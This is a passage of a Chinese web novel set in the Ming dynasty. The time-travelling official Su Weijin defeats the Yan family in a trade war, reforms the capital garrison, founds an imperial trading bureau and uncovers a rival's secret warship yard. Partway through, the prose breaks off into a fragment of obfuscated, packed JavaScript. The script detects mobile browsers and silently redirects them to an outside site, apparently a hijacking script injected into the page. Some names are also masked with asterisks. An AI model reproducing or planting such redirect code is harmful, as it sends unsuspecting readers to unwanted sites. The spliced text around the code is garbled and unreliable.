苏惟瑾拨了颗算珠,“严家虽然有些家底,但十万两现银,也不是小数目。”
他这么烧钱,能烧多久?”
他放下算盘,走到墙边那幅巨大的大明舆图前,手指点在一个位置:“况且,他忘了一件事——咱们的根基,从来不在京城,也不在江南。”
孙德福顺着看去:“月港?”
“对。”
苏惟瑾微笑,“月港的船队,已经打通了琉球、日本、南洋的商路。”
严家的货要从福建出海,还得经过咱们眼皮子底下。
他压价?
好啊,让他压。
等他把家底烧得差不多了……”
他没往下说,但孙德福懂了。
“那现在……”
“按计划行事。”
苏惟瑾坐回书案,“飞梭织机的二代图纸,该放出去了。”
告诉合作方,升级机器,费用云裳阁承担一半。
瓷器那边,推出新釉色‘雨过天青’,价格不变,但只供合作方。
香料……让南洋据点再压一成的进货价,咱们也降价,降到严家成本线以下。”
孙德福倒吸凉气:“那咱们不也亏?”
“短期亏,长期赢。”
苏惟瑾提笔在纸
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上写下一行字,“商战之道,不在锱铢必较,而在掌控源头。”
严世蕃以为他在跟我打价格战,实际上……”
他笑了笑:“他在帮我清理市场。”
二月末,局势逐渐明朗。
严家的低价策略起初有效,拉走了几个摇摆的勋贵。
但很快,问题出现了——锦绣坊的织机故障频繁,三个月坏了七台;
低价瓷器质量参差不齐,买家抱怨连连;
香料更糟,严家从南洋运回的胡椒,因储存不当,发霉了三船,血本无归。
反观云裳阁这边,二代织机效率更高,故障还少;
新釉色“雨过天青”一推出,立刻风靡京城,供不应求;
香料虽然也降价,但货品新鲜,销路反而更广。
最要命的是,那些最初被严家拉走的勋贵发现——严家许的“厚利”根本兑现不了。
而云裳阁这边,白纸黑字的契约,每月分红准时到账。
三月初一,成国公府。
朱麟看着账房送来的册子,脸黑如锅底。
他让弟弟朱麒投了五万两进严家的香料生意,如今亏了两万,剩下的货堆在仓库里卖不出去。
“大哥,”
朱麒哭丧着脸,“严世蕃说……说还能翻本,让咱们再投三万两……”
“投个屁!”
朱麟一把摔了账册,“当初就不该听严家的!”
云裳阁那边,上月分红就有一万两千两!
实实在在的银子!”
“那……那现在怎么办?”
朱麟沉默良久,咬牙:“去,备礼,我去靖海伯府……拜会。”
同一日,武安侯郑宏、定国公徐鹏举,还有另外三四家勋贵,不约而同地出现在了靖海伯府门前。
书房里,苏惟瑾听着孙德福的汇报,嘴角微扬。
“公子,算上今天这几家,京城有头有脸的勋贵,六成都跟咱们绑**。”
孙德福翻着账本,“剩下的,要么是严家的死党,要么是实在穷得掏不出本钱的。”
苏惟瑾接过账本,扫了一眼。
密密麻麻的条目,记录着丝绸、瓷器、香料、药材、海贸……各条线上的利益往来。
三个月,云裳阁织成了一张巨网,网住了大半勋贵的经济命脉。
“够了。”
他合上账本,“六成,足以让严嵩在勋贵中说不上话了。”
胡三从外头进来,神色有些凝重:“公子,登州来消息了。”
苏惟瑾眼神一凛:“说。”
“吴振邦那边,最近动作频繁。”
胡三低声道,“刘公岛守军这半个月‘操练’了三次,每次都往东南礁石区去。”
还有,天津卫的‘四海镖局’,最近接了单大生意——押送一批‘药材’去登州,但镖师说,箱子沉得很,不像药材。”
“四海镖局?”
苏惟瑾皱眉,“谁家的?”
“明面上是天津一个姓马的商人,但咱们的人查到,这马商人的妹妹,是严世蕃一个小妾的娘家表亲。”
严家……果然。
苏惟瑾起身,走到日历前。
今天是三月初一,离三月七,只剩六天。
“三爷,”
他转身,“让周大山秘密调一队虎贲营精锐,扮作商队,去登州。”
再传信给月港,让苏惟奇准备两艘快船,带上咱们最好的水手和火铳手,三月初五前赶到刘公岛外海待命。”
胡三神色一肃:“公子,要动手?”
“不动手。”
苏惟瑾望着窗外渐暗的天色,“但得防着他们动手。”
三月七子时,刘公岛东南礁石群……我倒要看看,严世蕃和那个‘火焰缠剑’,究竟在搞什么鬼。”
他顿了顿,又道:“还有,让彭小六查查,那个四海镖局押送的‘药材’,到底是什么。”
我总感觉……严家这次下的本钱,比想象中更大。”
胡三领命退下。
书房里只剩苏惟瑾一人。
他展开那张破译的密码纸,看着“丙三、戌七、离九、坤二”这串字符,眉头紧锁。
这编码方式太现代了,绝不是明朝该有的。
难道真有另一个穿越者?
或者……
他忽然想起,在格物学堂的档案里,曾见过类似的符号标记——那是他当初设计给学堂内部使用的简易密码,只教过核心的几个人。
其中有一个学生,叫**,后来被派去了月港船厂。
**……吴振邦?
苏惟瑾瞳孔骤缩。
商业战场大获全胜,勋贵联盟土崩瓦解。
但刘公岛的迷雾越来越浓——守备吴振邦频繁的“操练”,四海镖局神秘的“药材”,一切都指向三月七日的礁石之约。
更令人心惊的是,苏惟瑾突然将吴振邦与格物学堂旧生**联系起来,如果真是同一人,那就意味着……严世蕃背后,很可能有一个了解苏惟瑾底细的“内行”!
而这个“内行”,是否就是“火焰缠剑”组织的核心?
距离三月七日仅剩六天,登州海面之下,究竟藏着怎样一场惊涛骇浪?
第397章 军改稳兵权,大山练新军
三月初二,京营校场。
天还没亮透,北风刮得旗杆上的“虎”字大旗猎猎作响。
校场东侧,八千虎贲营将士已经列队完毕,黑压压一片,却静得能听见远处乌鸦叫。
周大山站在点将台上,一身铁甲,腰挎雁翎刀,脸上那道在东南留下的疤在晨光中显得狰狞。
他扫视全场,声如洪钟:
“今日操练,三项——十里负重跑、火铳百步靶、刺刀对练!”
最后一百名,晌午饭减半!
前十名,加肉一斤,赏钱五百文!”
台下顿时响起压抑的欢呼声。
加肉!
赏钱!
这可比什么空话都实在。
“开始!”
号角起。
八千将士分成四队,每队两千人,背上三十斤的沙包,绕着校场外圈跑起来。
尘土飞扬,脚步声震得地面发颤。
校场西侧观礼台上,坐着十几个京营其他各营的将领。
有神机营指挥使、三千营参将、五军营的游击……
都是被兵部叫来“观摩学习”的。
“这……这练的是什么?”
神机营指挥使刘全皱眉,“当兵的,练好弓马火器就行了,跑什么步?”
五军营游击孙德彪撇嘴:“花架子!”
你看他们那火铳,打一发得装半天,哪有弓箭利索?”
正说着,虎贲营的火器营上场了。
两千人,分四排。
每排五百人,人手一杆燧发枪——这是格物学堂改良过的,取消了火绳,用燧石击发,射速比旧式火铳快了一倍不止。
“装弹!”
周大山令旗一挥。
“哗啦——”整齐的装弹声。
从腰间弹袋取弹丸、咬开纸壳、倒入**、用通条压实……
两千人动作整齐划一,看得观礼台上一众将领目瞪口呆。
“这……这装弹速度……”
刘全眼珠子都快瞪出来了。
他是神机营的,最懂火器。
寻常火铳手,装一发弹至少二十息,可虎贲营这帮人,不到十五息就完成了!
“预备——放!”
“砰!砰!砰!”
第一排放完,迅速后退装弹,第二排上前,接着放。
四排轮射,硝烟弥漫,靶场上百步外的木靶被轰得木屑横飞。
“命中七成!”
验靶的军官高声报数。
观礼台上鸦雀无声。
七成命中率!
还是在百步距离!
神机营最好的时候,也不过五成!
孙德彪脸色变了变,嘴硬道:“火器再利,近战也是白搭。”
你看他们那刺刀,细得跟筷子似的,能捅穿甲?”
话刚落,刺刀对练开始了。
两人一组,手持装了刺刀的火铳,模拟近身搏杀。
劈、刺、格、挡,动作干脆利落,全是杀招。
有个小旗官动作慢了半拍,被对手一“刀”捅在胸口——虽然刺刀包了布头,但那力道,还是让他闷哼一声**三步。
周大山在台上吼道:“王老五!”
你他娘没吃饭?
战场上这一下你就**!
罚跑五圈!”
那小旗官二话不说,扔下枪就去跑圈。
观礼台上,众将领面面相觑。
这练兵法,太狠了!
操练持续到午时。
最后一项是战术推演——在校场上用石灰画出地形,两队模拟攻防。
一队守“城”,一队攻。
攻方分三路佯动,一路主攻;
守方则依托工事,火器、弓箭、滚木礌石配合。
推演激烈,双方指挥的小旗官嗓子都喊哑了。
最后攻方以微弱优势“破城”,但伤亡过半。
周大山点评:“攻方指挥太急!”
第三波就该上预备队!
守方弓箭手配置太靠前,被火铳压制就废了!
都记下来,晚上写进操典!”
众将士齐声应诺。
观礼结束,将领们被请到虎贲营中军帐用饭。
饭菜简单:大锅炖菜,白面馒头,每人碗里有两片肉。
但虎贲营将士吃得狼吞虎咽——他们知道,这是实打实练出来的。
刘全忍不住问周大山:“周将军,你们这练兵法子……从哪学的?”
周大山咧嘴笑:“伯爷教的。”
伯爷说,当兵的不是牲口,得让他们知道为什么练、练了有什么用。
你看我们营里,识字的教不识字的,老卒带新兵,每月考核,优等赏钱,劣等加练——都明明白白。”
孙德彪嘀咕:“那得花多少银子?”
“花银子?”
周大山正色道,“孙游击,我问你,练出一支能打的兵,和养一群废物,哪个更花钱?”
我们在东南打倭寇,一个虎贲营的兵能顶三个卫所兵!
这账,你说怎么算?”
孙德彪语塞。
饭后,苏惟瑾来了。
他没穿官服,一身青色箭袖,像个寻常武官。
众将领赶紧起身行礼。
“都坐。”
苏惟瑾摆摆手,在主位坐下,“今日观摩,诸位觉得虎贲营如何?”
刘全第一个开口:“伯爷,下官服了!”
这火铳、这战法,闻所未闻!
敢问……能否让神机营也这么练?”
孙德彪虽不情愿,但也道:“若京营都能如此,何惧北虏南倭?”
苏惟瑾笑了:“这正是本伯想说的。”
陛下已准我整顿京营,本伯欲推行‘轮训制’——各营选派军官至虎贲营受训三月,学成后回营推广新法。
诸位以为如何?”
众将领眼睛一亮。
这是好事啊!
能学真本事!
“不过,”
苏惟瑾话锋一转,“轮训名额有限,每营暂定二十人。”
须是千总以下、把总以上,年纪不超过四十,识字,身体强健。
另外,受训期间,月饷加倍,但考核不及格者,退回原营,永不录用。”
条件苛刻,但诱惑更大。
月饷加倍!
学真本事!
刘全当即表态:“神机营愿出二十人!”
“三千营也出!”
“五军营……”
转眼间,各营都抢着要名额。
苏惟瑾让周大山登记,当场定了二百四十人的名单——正好是京营十二营,每营二十人。
“三月初十开训。”
苏惟瑾起身,“届时,本伯亲自授课。”
众将领欢天喜地地走了。
他们不知道,这二百四十人,将是苏惟瑾渗透京营的第一批种子。
傍晚,靖海伯府书房。
周大山汇报完今日操练情况,犹豫了下:“公子,有件事……不知当讲不当讲。”
“说。”
“今日观礼的那些将领里,五军营游击孙德彪,临走时悄悄问我,能不能多给他几个名额……”
说他有个外甥,在卫所当百户,想送进来。”
周大山皱眉,“我没答应,但觉得蹊跷。”
孙德彪这人,以前跟咱们不太对付。”
苏惟瑾手指敲着桌面:“孙德彪……他妹妹是不是嫁给了严世蕃一个门客?”
“对!”
公子记得清楚!”
周大山恍然,“那他这是……”
“想往咱们这儿塞眼线。”
苏惟瑾冷笑,“答应他。”
“啊?”
“给他五个名额。”
苏惟瑾道,“但告诉孙德彪,人来了就得守虎贲营的规矩。”
三个月后考核,不合格照样退回去。”
周大山懂了:“公子是要……将计就计?”
“对。”
苏惟瑾点头,“正好看看,严家想搞什么鬼。”
正说着,胡三急匆匆进来,脸色凝重。
“公子,查清了。”
他压低声音,“四海镖局押的那批‘药材’,根本不是药!”
是铁!”
“铁?”
周大山瞪眼,“私运铁器?”
“不止。”
胡三从怀里掏出个小布包,打开,是几块黑褐色的矿石,“这是在镖车夹层里找到的。”
彭小六认出,这是琉球特产的‘黑铁石’,含铁量极高,是炼精钢的上好材料!”
苏惟瑾拿起一块矿石,超频大脑瞬间分析成分:含铁量68%,还有微量的铬、钒……
这是制造高强度钢材的绝佳原料!
“四海镖局……琉球黑铁石……”
他喃喃道,“严世蕃从哪弄来的?”
胡三继续道:“还有,吴振邦的身份查清了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062888|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>他本名**,嘉靖八年入格物学堂,学的是‘冶铁’和‘造船’。
嘉靖十一年被派往月港船厂,但半年后因‘私自改良船图’被斥责,调去登州水师。
从此再没回过学堂。”
苏惟瑾眼神一凛。
**!
果然是他!
当年在格物学堂,**是那一届最出色的学生之一,尤其在冶铁和算学上天赋极高。
苏惟瑾曾亲自教过他简易密码和坐标计算法——正是“丙三、戌七”那种!
“他为什么被调走?”
苏惟瑾问。
“据船厂旧人说,**当时想改良战船,在船底加装什么‘水密隔舱’,还说要用新式钢材造龙骨。”
但船厂主事觉得他异想天开,驳回了。
**不服,越级上书,被以‘妄议祖制’的罪名调离。”
胡三道,“这事当年闹得不大,公子在东南,可能不知道。”
苏惟瑾沉默。
水密隔舱、新式钢材……
这都是超越时代的技术。
**能想到这些,说明他确实学到了东西。
可这样的人,怎么会跟严世蕃搅在一起?
“吴振邦在登州,这些年做了什么?”
他问。
“表面看,就是个寻常守备。”
但暗地里……他开了三家铁匠铺,都在登州城外。
铺子里出的铁器,质量极好,甚至能打出削铁如泥的刀。”
胡三顿了顿,“而且,他那些铁匠铺,用的好像就是这种黑铁石。”
苏惟瑾脑中飞速串联线索:琉球的黑铁石、**的冶铁技术、四海镖局的私运、刘公岛的礁石群、三月七日的接头……
“三爷,”
他忽然道,“你说,如果**用黑铁石炼出了精钢,会用来做什么?”
胡三一愣:“打刀打甲?”
那可比寻常铁器强多了。”
“不止。”
苏惟瑾站起身,走到地图前,手指点着刘公岛,“如果他用这些精钢……造炮呢?”
周大山倒吸一口凉气:“私造火炮?”
那可是诛九族的大罪!”
“如果是寻常火炮,确实风险太大。”
苏惟瑾眼神冰冷,“但如果是……能装在船上、射程更远、威力更大的新式火炮呢?”
他想起在琉球时,曾听当地老人说,前些年有伙神秘人,在岛上高价收购黑铁石,还雇了最好的铁匠。
当时没在意,现在想来……
“**在登州,很可能有个秘密的造船厂。”
苏惟瑾缓缓道,“用黑铁石炼出的精钢,造新式战船,装新式火炮。
而严世蕃……在给他提供原料和掩护。”
“他们想干什么?”
周大山声音发颤。
“不知道。”
苏惟瑾摇头,“但三月七日,刘公岛礁石群,很可能就是他们交货或试炮的日子。”
他转身:“大山,虎贲营火器营,抽调五百精锐,全部换装最新式的燧发枪,带足**。”
三月初五,秘密出发去登州。”
“是!”
“三爷,传信给月港,让苏惟奇的船队三月初六抵达刘公岛外海,隐蔽待命。”
再告诉彭小六,盯死四海镖局,看他们下一步把黑铁石运到哪儿。”
“明白!”
两人领命而去。
书房里,苏惟瑾独自站在地图前,望着刘公岛那个小点。
**……
当年的学生,如今成了敌人。
而且是一个掌握了部分现代知识、躲在暗处的敌人。
这场较量,突然变得复杂了。
窗外,夜色深沉。
距离三月七日,只剩五天。
军改顺利,兵权暗握。
但吴振邦(**)的**和秘密造船厂的发现,让刘公岛事件的性质骤然升级——这已不仅是走私或接应倭寇,而可能是一场涉及新式武器、超越时代技术的阴谋!
更令人不安的是,苏惟瑾忽然想起,当年在格物学堂,**曾痴迷于研究“**最佳配比”和“弹道计算”,如果这些年他一直在暗中继续这些研究……
那三月七日礁石群,等待的或许不是普通的交易,而是一场新式武器的实弹测试!
而测试的目标,又会是什么?
第398章 瑾控内承运,帝用钱伸手
三月初三,西苑澄心堂。
嘉靖皇帝盯着面前那张图纸,眉头拧成了疙瘩。
图纸上画的是座“蓬莱仙岛”的模型——琼楼玉宇,仙鹤祥云,旁边小字标注:纯金打造,高一丈二尺,需用黄金三千两。
三千两黄金啊!
折成白银就是三万两!
“黄锦,”
嘉靖揉了揉太阳穴,“内承运库……还有多少存银?”
侍立一旁的黄锦脸一苦:“回陛下,上月支了五千两给邵**炼丹,三千两修西苑法坛,还有赏赐鹤岑国师、各地进献祥瑞的道士……”
如今库内现银,不到两万两了。”
两万两,光这金模型都打不起,更别说日常开销了。
嘉靖烦躁地甩开图纸。
他是皇帝,是天子,可天子也得花钱!
修仙要钱,建坛要钱,赏人要钱……
户部那边,杨一清那老东西整天哭穷,说什么“国库空虚”“边关吃紧”,让他这个皇帝想修个仙都捉襟见肘。
正发愁,小太监来报:“靖海伯苏惟瑾求见。”
“让他进来。”
嘉靖有气无力地摆摆手。
苏惟瑾进殿,行礼后瞥了眼案上的图纸,心中了然。
他来之前就得了信儿——内承运库快空了。
“爱卿何事?”
嘉靖靠在椅背上,神情倦怠。
“臣听闻陛下欲造‘蓬莱仙岛’金像,以彰仙道。”
苏惟瑾拱手,“此乃盛事。”
然臣斗胆问一句——内库可还宽裕?”
这话问得直白。
嘉靖脸色一沉,但没发作——苏惟瑾不是外人,况且这话也没别人敢问。
“宽裕不宽裕,都是朕的事。”
嘉靖淡淡道。
“陛下误会了。”
苏惟瑾面色诚恳,“臣非探听内库虚实,而是……臣有一策,或可解陛下之忧。”
“哦?”
嘉靖坐直了身子,“说来听听。”
苏惟瑾从袖中取出一份奏章:“臣请陛下准设‘皇商总局’,专司宫廷采买、海外珍玩贸易。”
所得利润,五成归内承运库,五成用于扩大经营。”
“皇商?”
嘉靖皱眉,“这不成了与民争利?”
御史台那帮人,又该上疏烦朕了。”
“陛下,”
苏惟瑾笑了,“何为‘与民争利’?”
若民间商贾囤积居奇,哄抬物价,那才是与民争利。
皇商总局不同——它平价采买,平价售出,反能平抑市价。
譬如宫中需江南绸缎,往常由太监去采办,中间层层克扣,一匹绸到宫里,价翻三倍。
若由皇商总局直采,省去中间环节,价廉物美,省下的银子,一半入内库,一半惠及百姓,岂非两全其美?”
他顿了顿,继续道:“再说海外贸易。”
如今南洋的胡椒、丁香,在广州港什么价?
运到京城又是什么价?
若皇商总局组建船队,直接去南洋采买,成本至少降四成。
这些稀罕物,宫中用不完的,还可平价售与民间——百姓能以更低价格买到海外珍奇,内库能增收,这难道不是惠民之举?”
嘉靖听得眼睛渐渐亮了。
他是皇帝,但不是傻子。
苏惟瑾这番话,句句在理。
“可这本钱……”
他迟疑。
“本钱臣来筹。”
苏惟瑾道,“云裳阁可先垫付十万两,待皇商总局盈利后再还。”
另外,总局管事人选,可由陛下钦点,账目每月送内监审核,绝无舞弊。”
条件太优厚了。
嘉靖心动了。
不用他掏钱,还能每月有进账,账目还透明……
“陛下,”
黄锦忽然小声提醒,“这事……要不要问问严侍郎?”
严嵩?
嘉靖脸色微沉。
严嵩前几日刚上书,说什么“天子当垂拱而治,不可涉商贾之事”,说得冠冕堂皇,可也没见严家少做生意!
“不必。”
嘉靖摆手,“此事,朕准了。”
爱卿着手去办,越快越好。”
“臣遵旨。”
苏惟瑾躬身,“另外,臣举荐一人——原云裳阁大掌柜孙德福,此人精明干练,忠诚可靠,可任皇商总局总管事。”
“准。”
三月初五,早朝。
严嵩的脸色很难看。
他昨日才听说皇商总局的事,今日苏惟瑾就要当庭奏请正式设立——这是先斩后奏!
果然,议事过半,苏惟瑾出列:“臣有本奏。”
陛下为体恤民生、充盈内库,准设皇商总局。
臣已拟章程,请陛下御览,并颁旨明示天下。”
曹德接过奏章,呈给嘉靖。
嘉靖装模作样翻了翻:“甚好,准奏。”
“陛下!”
严嵩忍不住了,出列道,“臣以为不妥!”
殿内一静。
百官都看向严嵩。
“有何不妥?”
嘉靖皱眉。
“陛下,”
严嵩躬身,语气沉痛,“我太祖有训:天子当以德治天下,不可与民争利。”
今设皇商,名为惠民,实则为皇室经商开先例。
此例一开,恐天下商贾寒心,百姓侧目啊!”
几个严党官员立刻附和:
“严侍郎所言极是!”
“皇商一设,宫闱涉利,有损圣德!”
“请陛下三思!”
嘉靖脸色沉下来。
他料到有人反对,但没想到这么直接。
苏惟瑾不慌不忙,转身看向严嵩:“严侍郎说‘与民争利’,敢问,何为‘民’?”
是囤积居奇、哄抬粮价的奸商,还是辛勤劳作、公平买卖的良贾?”
严嵩一滞:“这……”
“若说与民争利,”
苏惟瑾继续,“去岁江南大水,粮价飞涨。”
是谁在灾区低价收粮、运往他处高价贩卖?
是哪些‘民’?
又是谁自掏腰包,从湖广调粮平粜,稳住粮价?
是云裳阁!
若这也算‘争利’,那臣请问严侍郎——是该争,还是不该争?”
他声音提高:“皇商总局的章程写得明白:一不占民田,二不夺民生,三不强买强卖。”
反倒是要打破奸商垄断,让货畅其流,价归于平!
这难道不是德政?
难道不是惠民?”
严嵩被问得哑口无言。
他总不能说,就该让奸商赚钱吧?
一个御史出列帮腔:“苏伯爷此言差矣!”
官就是官,商就是商,岂能混淆?
若皇室经商,天下官员效仿,岂不乱了纲常?”
“纲常?”
苏惟瑾笑了,“《周礼》有云:‘泉府掌市,敛市之不售、货之滞于民用者,以其价买之,以待不时而买者。’”
这泉府是做什么的?
就是平准物价、调节余缺的官办机构!
我太祖设‘宝钞提举司’,成祖设‘市舶司’,哪个不是官营?
按这位大人的说法,太祖、成祖也坏了纲常?”
那御史脸涨得通红,憋不出话。
苏惟瑾转向嘉靖,跪倒:“陛下,臣非为私利。”
皇商总局若成,第一年,臣保内库增收十万两;
第二年,二十万两;
第三年,三十万两!
这些银子,陛下可用于修仙证道,可用于赈济灾民,可用于赏赐有功——取之于民,用之于民,何乐不为?”
十万、二十万、三十万!
嘉靖心跳加速。
有了这些钱,他还用为金模型发愁?
还用看户部脸色?
“爱卿平身。”
嘉靖抬手,目光扫过殿内百官,“朕意已决。”
皇商总局,即日设立。
总管事孙德福,赐六品冠带。
一应章程,按苏爱卿所奏施行。
再有妄议者,以抗旨论!”
“陛下圣明!”
苏惟瑾叩首。
严嵩等人脸色铁青,却不敢再言。
退朝后,苏惟瑾刚出奉天门,就被杨一清叫住。
“伯爷,”
杨一清神色复杂,“您这皇商总局……真能年入三十万两?”
“只多不少。”
苏惟瑾微笑,“杨尚书放心,皇商总局只做宫廷采买和海外贸易,绝不涉足盐铁茶马等国之命脉,不会影响户部岁入。”
杨一清松了口气:“那就好。”
不过伯爷,您今日把严嵩得罪狠了……”
“不得罪,他也不会放过我。”
苏惟瑾淡淡道,“对了杨尚书,有件事得提醒您——近日市面上流通的‘永乐通宝’,成色不对,掺铅太多。”
户部是不是该查查?”
杨一清一愣:“有这事?”
“千真万确。”
苏惟瑾压低声音,“铸钱的是宝泉局,宝泉局归工部管。”
而工部右侍郎,是严嵩的门生。”
杨一清眼神一凛:“多谢伯爷提醒!”
两人分开后,苏惟瑾上了轿。
轿帘放下,他嘴角浮起一丝冷笑。
严嵩,你以为我只在皇商上动手?
铸钱的事,够你喝一壶了。
三月初六,皇商总局在西长安街挂牌。
场面不大,但来道贺的人不少——都是跟云裳阁有生意往来的勋贵、商户。
孙德福穿了身崭新的六品官服,笑得见牙不见
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眼。
后院账房里,苏惟瑾正在看第一批账目。
“公子,”
孙德福递上册子,“按您的吩咐,皇商总局下设三司:采买司,专司宫中用度;海贸司,管海外生意;平价司,负责平抑市价。”
三司主事,都是咱们的人。”
苏惟瑾点头:“内承运库那边,对接好了?”
“好了。”
孙德福道,“黄公公派了个姓李的太监来,每月初一对账。”
咱们给内库的分成,单独建账,一目了然。”
“好。”
苏惟瑾合上账本,“记住,内库的账,一分一厘都不能错。”
但咱们自己的账……该灵活的时候要灵活。”
孙德福会意:“明白。”
正说着,胡三匆匆进来,脸色凝重。
“公子,登州急报。”
苏惟瑾屏退左右。
胡三低声道:“周将军的人到了登州,发现四海镖局那批黑铁石,没进城,直接运到了刘公岛南面一个废弃渔村。”
那里……有个秘密船坞。”
“船坞?”
苏惟瑾眼神一冷,“多大?”
“能造千料以上的大船。
而且,”
胡三深吸一口气,“船坞里,真有一艘船在建!
看龙骨,比咱们的‘靖海号’还大!”
苏惟瑾起身踱步。
**果然在造船!
用黑铁石炼出的精钢做龙骨,那船的坚固程度,将远超这个时代的任何战船!
“还有什么?”
“船坞附近有守卫,都是水师的人扮的渔民。
咱们的人不敢靠太近,但听见……有打铁声,还有试炮声。”
试炮!
苏惟瑾心头一紧。
“另外,”
胡三继续道,“彭小六从天津传信,说严世蕃三日前秘密出京,说是‘回江西祭祖’,但走的却是往山东的路。”
严世蕃也去了?
苏惟瑾眼神更冷。
看来三月七日,真是个大日子。
“公子,咱们怎么办?”
胡三问,“周将军带的人只有五百,苏惟奇的船队最快也要明晚才能到刘公岛外海。”
万一吴振邦那边人多……”
“不急。”
苏惟瑾走到地图前,“**造船,严世蕃供货,他们图什么?”
若是为私利,偷偷造几艘商船走私就是,何必搞这么大阵仗?
又是精钢龙骨,又是试炮……”
他忽然想起什么:“船坞里,有没有看到……特别的东西?”
比如,特别大的炮?”
胡三回忆:“探子说,看见几个用油布盖着的长条形物件,比寻常火炮长不少。”
超长身管的炮?
苏惟瑾脑中闪过一个词:加农炮。
如果**真的掌握了现代冶金和弹道知识,造出射程更远、精度更高的加农炮,再配上精钢龙骨的大船……
那将是一艘这个时代无法匹敌的战舰!
“传信给周大山,”
苏惟瑾转身,“让他按兵不动,先摸清船坞的守卫情况、火炮数量、以及……那艘船什么时候下水。”
“是!”
胡**下后,苏惟瑾独自站在地图前,手指点着刘公岛。
**啊**,你到底想干什么?
**?
不像。
有这技术,偷偷发财不好吗?
那就是……有更大的图谋。
苏惟瑾忽然想起,在格物学堂时,**曾醉心于研究“海权论”——那是苏惟瑾偶尔提及的现代概念。
**当时说:“若有一支无敌舰队,可控制四海,则天下财富尽归我有。”
控制四海……天下财富……
一个可怕的念头闪过。
难道**和严世蕃,是想打造一支私人的无敌舰队,控制海上贸易,甚至……割据一方?
苏惟瑾深吸一口气。
如果真是这样,那三月七日,就不仅是交货或试炮了。
那可能是……新舰下水的日子!
皇商总局设立,皇室财政落入掌控。
但刘公岛的危机急剧升级——秘密船坞、精钢龙骨、疑似加农炮的新式武器,还有严世蕃的亲临,一切都指向一个可怕的阴谋:**和严世蕃可能在打造一支超越时代的私人舰队!
而更令人不安的是,苏惟瑾忽然接到密报:嘉靖皇帝今日在看完皇商总局的章程后,随口问黄锦:“苏爱卿如此擅长经营,若有一天……他用这法子对付朕,该如何是好?”
这句无心之言,是否意味着皇帝心中那根猜忌的刺,已经开始发芽?
朝堂、商场、海上,三线危机同时逼近,距离三月七日只剩一天,风暴将至!
第399章 孔家颂仙道,**定基调
三月初七,曲阜孔府。
卯时初刻,孔庙前的棂星门就开了。
衍圣公孔闻韶(南宗)一身簇新的**袍玉带,站在大成殿前的石阶上,身后是十二位族老、三十六位执事,再后头是三百孔氏子弟,乌泱泱站了一片。
天边刚泛起鱼肚白,晨雾还没散。
但孔府门前那条神道上,已经挤满了人——有本地百姓,有从各州县赶来的读书人,还有几十个穿着各色官服的差役,在维持秩序。
“吉时到——”
礼赞官拖长声音。
孔闻韶上前三步,对着大成殿内的孔子像,恭恭敬敬三叩九拜。
起身后,从身旁司礼官手中接过一本崭新的书册。
书册封面是明黄色锦缎,正中四个烫金大字:《圣主修仙录》。
下头一行小字:孔子六十二代孙闻韶敬撰。
“列祖列宗在上,”
孔闻韶高举书册,声音洪亮,“今大明嘉靖皇帝陛下,承天受命,德配天地,修行证道,实乃‘内圣外王’之极致!”
闻韶不才,率孔氏子弟编纂此书,阐发陛下修行与圣教相通之理,以正天下视听!”
话音落地,礼乐齐鸣。
编钟、石磬、琴瑟合奏《咸和之曲》——这是祭孔大典才用的乐章。
礼赞官高喊:“请书——”
八名孔府子弟上前,抬着四个大樟木箱子。
箱子打开,里面整整齐齐码着崭新的《圣主修仙录》,墨香扑鼻。
“此为首印五千册,”
孔闻韶朗声道,“即日起,发往全国各府州县学、书院!”
凡我儒学门人,当熟读深研,明陛下修行之正道!”
人群骚动起来。
有老秀才伸长脖子想看,有年轻学子交头接耳,更有些穿着绸衫的书铺掌柜,眼睛直勾勾盯着那些书——这要是能弄到一批,得赚多少?
仪式持续了半个时辰。
结束后,孔闻韶回到府中,立刻写了一封奏疏,连同样书十册,用八百里加急送往京城。
奏疏里写:“臣闻韶谨奏:陛下修行,合天理,顺人心,实乃千古未有之圣迹。”
臣率天下儒生,恭颂圣德,愿陛下早证仙道,福泽苍生!”
同一日,京城。
西长安街的“文华书肆”门口,一大早就排起了长队。
掌柜的刚卸下门板,人群就涌了进来。
“有《圣主修仙录》吗?”
“给我来三本!”
“我要五本!”
掌柜的笑得合不拢嘴:“有有有!”
孔府正宗,衍圣公亲撰!
一两银子一本,概不还价!”
一两银子!
够寻常人家半个月嚼谷了。
可排队的人眼都不眨——读书人买来研读,商贾买来送礼,就连那些勋贵府上的管事,也奉命来采购。
不到晌午,五百册售罄。
掌柜的赶紧让人去印坊催货。
城南“悦来茶楼”里,几个老秀才围坐一桌,桌上摊着本刚买的《圣主修仙录》。
“这……这说的什么呀?”
一个花白胡子的老秀才翻了几页,眉头皱成疙瘩,“陛下烧丹炼药,怎么就成了‘仿《周易》革故鼎新’?”
**观想,怎么就是‘合《大学》定静安虑得’?
牵强附会!”
旁边一个中年秀才赶紧捂他嘴:“李老先生,慎言!”
这可是孔府出的书,衍圣公亲笔作序!
您这话传出去……”
“传出去怎么了?”
李秀才梗着脖子,“我读了一辈子圣贤书,就没见过这么曲解经典的!”
孔府……孔府也堕落了!”
正说着,茶楼中央的戏台上,说书先生醒了木。
“今日不说三国,不说水浒,单说一段《嘉靖帝梦游天宫》!”
说书先生一拍惊堂木,“话说那嘉靖皇帝,夜宿西苑,忽见祥云缭绕,仙乐飘飘。”
两位金童玉女驾云而来,口称:‘奉玉帝法旨,请陛下赴瑶池仙会’……”
茶客们听得入神。
说到嘉靖在天宫与王母论道、与太上老君切磋丹术时,满堂喝彩。
“好!”
“陛下是真龙转世啊!”
“怪不得近年祥瑞频现,原来陛下是要成仙了!”
李秀才气得胡子直抖,丢下几个铜钱,拂袖而去。
可刚出茶楼,就见街角卖炊饼的摊子前,几个妇人也在议论:
“听说了吗?陛下修行到了紧要关头,下个月就要‘飞升’了!”
“飞升?那不就是成仙了?哎呀,那可是大好事!”
“是啊,陛下成仙了,就能保佑咱们风调雨顺了……”
李秀才仰天长叹:“荒唐!”
荒唐啊!”
严府书房里,气氛凝重。
严嵩盯着案上那本《圣主修仙录》,脸色铁青。
